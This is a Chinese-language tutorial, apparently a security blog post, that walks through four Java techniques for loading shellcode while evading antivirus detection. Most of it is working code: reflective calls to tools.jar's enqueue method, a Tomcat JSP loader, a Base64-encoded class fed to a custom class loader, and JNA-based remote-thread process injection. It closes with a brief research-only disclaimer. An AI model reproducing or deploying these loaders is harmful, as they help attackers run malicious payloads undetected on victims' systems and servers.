Java安全之加载shellcode_bypass杀软
字数 1010 2025-08-22 12:22:54
Java安全之加载Shellcode绕过杀软技术详解
前言
在当前的杀毒软件环境中,对病毒木马的识别主要基于三种机制:
-
静态特征识别(Static Signature Detection)
- 定义:基于文件静态属性的检测方法
- 工作原理:通过比对文件特征与已知病毒特征库进行匹配
-
动态特征识别(Dynamic Behavioral Detection)
- 定义:基于程序运行时行为的检测方法
- 工作原理:监视程序执行过程中的行为模式(如文件读写、网络通信等)
-
启发式识别(Heuristic Detection)
- 定义:基于启发式规则的检测方法
- 工作原理:使用算法评估文件或程序的潜在威胁程度,不依赖已知签名
方法1:依赖tools.jar加载Shellcode
原理
通过反射调用sun.tools.attach.WindowsVirtualMachine类的enqueue函数加载Shellcode。
实现步骤
-
生成Shellcode
byte buf[] = new byte[] { (byte)0xfc,(byte)0x48,(byte)0x83,... }; -
加载Shellcode的核心代码
System.loadLibrary("attach"); Class cls = Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method m : cls.getDeclaredMethods()) { if (m.getName().equals("enqueue")) { long hProcess = -1; // 注入当前Java进程 String cmd = "load"; String pipeName = "test"; m.setAccessible(true); Object result = m.invoke(cls, new Object[]{hProcess, buf, cmd, pipeName, new Object[]{}}); } } -
解决ClassNotFoundException问题
- 需要添加tools.jar引用(位于
<jdk>/lib/tools.jar) - 启动时指定tools.jar路径:
java -Xbootclasspath/a:"C:\Program Files\Java\jdk1.8.0_202\lib\tools.jar" -jar jspshellcode.jar
- 需要添加tools.jar引用(位于
其他协议绕过方式
-
使用file协议
URLClassLoader loader = new URLClassLoader(new URL[] { new URL("file:C:\\Program Files\\Java\\jdk1.8.0_202\\lib\\tools.jar") }); -
使用http协议
URLClassLoader loader = new URLClassLoader(new URL[] { new URL("http://192.168.0.120/tools.jar") });
方法2:Tomcat JSP加载Shellcode
JSP实现代码
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
URLClassLoader loader = new URLClassLoader(new URL[] {
new URL("file:C:\\Program Files\\Java\\jdk1.8.0_202\\lib\\tools.jar")
});
Class cls = loader.loadClass("sun.tools.attach.WindowsVirtualMachine");
for (Method m : cls.getDeclaredMethods()) {
if (m.getName().equals("enqueue")) {
long hProcess = -1;
byte buf[] = new byte[] { (byte)0xfc,(byte)0x48,... };
String cmd = "load";
String pipeName = "taest";
m.setAccessible(true);
Object result = m.invoke(cls, new Object[]{hProcess, buf, cmd, pipeName, new Object[]{}});
}
}
Thread.sleep(4000);
%>
方法3:自定义类加载器加载Shellcode
实现步骤
-
自定义WindowsVirtualMachine类
package sun.tools.attach; import java.io.IOException; public class WindowsVirtualMachine { public WindowsVirtualMachine() {} static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException; static native long openProcess(int var0) throws IOException; public static void run(byte[] buf) { System.loadLibrary("attach"); try { enqueue(-1L, buf, "test", "test"); } catch (Exception e) { e.printStackTrace(); } } } -
生成并Base64编码class文件
File file = new File("WindowsVirtualMachine.class"); FileInputStream fi = new FileInputStream(file); byte[] buffer = new byte[(int) file.length()]; fi.read(buffer); fi.close(); String encoded = Base64.getEncoder().encodeToString(buffer); -
自定义ClassLoader加载
public class Myloader extends ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF/8IACcHACg..."; Class result = new Myloader().get(Base64.getDecoder().decode(classStr)); for (Method m : result.getDeclaredMethods()) { if (m.getName().equals("run")) { m.invoke(result, shellcode); } }
方法4:使用GraalVM加载Shellcode
环境配置
- 下载GraalVM:https://github.com/graalvm/graalvm-ce-builds/releases
- 设置环境变量:
- PATH:安装目录下的/bin
- JAVA_HOME:安装目录
实现代码
import com.sun.jna.*;
import com.sun.jna.platform.win32.*;
public class Jna {
static byte shellcode[] = new byte[] {...};
static Kernel32 kernel32;
static IKernel32 iKernel32;
static {
kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
}
public void loadShellCode(byte[] shellcodeByte, String targetProcess) {
int shellcodeSize = shellcodeByte.length;
Memory memory = new Memory((long) shellcodeSize);
for (int j = 0; j < shellcodeSize; ++j) {
memory.setByte((long) j, shellcodeByte[j]);
}
WinBase.PROCESS_INFORMATION processInfo = new WinBase.PROCESS_INFORMATION();
WinBase.STARTUPINFO startupInfo = new WinBase.STARTUPINFO();
startupInfo.cb = new WinDef.DWORD((long) processInfo.size());
if (kernel32.CreateProcess(targetProcess, null, null, null, false,
new WinDef.DWORD(4L), null, null, startupInfo, processInfo)) {
Pointer pointer = iKernel32.VirtualAllocEx(processInfo.hProcess,
Pointer.createConstant(0), shellcodeSize, 4096, 64);
iKernel32.WriteProcessMemory(processInfo.hProcess, pointer,
memory, shellcodeSize, new IntByReference(0));
HANDLE handle = iKernel32.CreateRemoteThread(processInfo.hProcess,
null, 0, pointer, 0, 0, null);
kernel32.WaitForSingleObject(handle, -1);
}
}
interface IKernel32 extends StdCallLibrary {
Pointer VirtualAllocEx(HANDLE hProcess, Pointer lpAddress,
int dwSize, int flAllocationType, int flProtect);
boolean WriteProcessMemory(HANDLE hProcess, Pointer lpBaseAddress,
Pointer lpBuffer, int nSize, IntByReference lpNumberOfBytesWritten);
HANDLE CreateRemoteThread(HANDLE hProcess, Object lpThreadAttributes,
int dwStackSize, Pointer lpStartAddress, int dwCreationFlags,
int lpThreadId, Object lpParameter);
}
}
总结
本文详细介绍了四种在Java环境中加载Shellcode并绕过杀毒软件检测的技术:
- 利用tools.jar中的WindowsVirtualMachine类
- 通过Tomcat JSP动态加载
- 自定义类加载器实现
- 使用GraalVM的多语言支持特性
每种方法都有其适用场景和优缺点,实际应用中可根据目标环境选择最合适的技术。需要注意的是,这些技术仅用于安全研究和防御目的,切勿用于非法活动。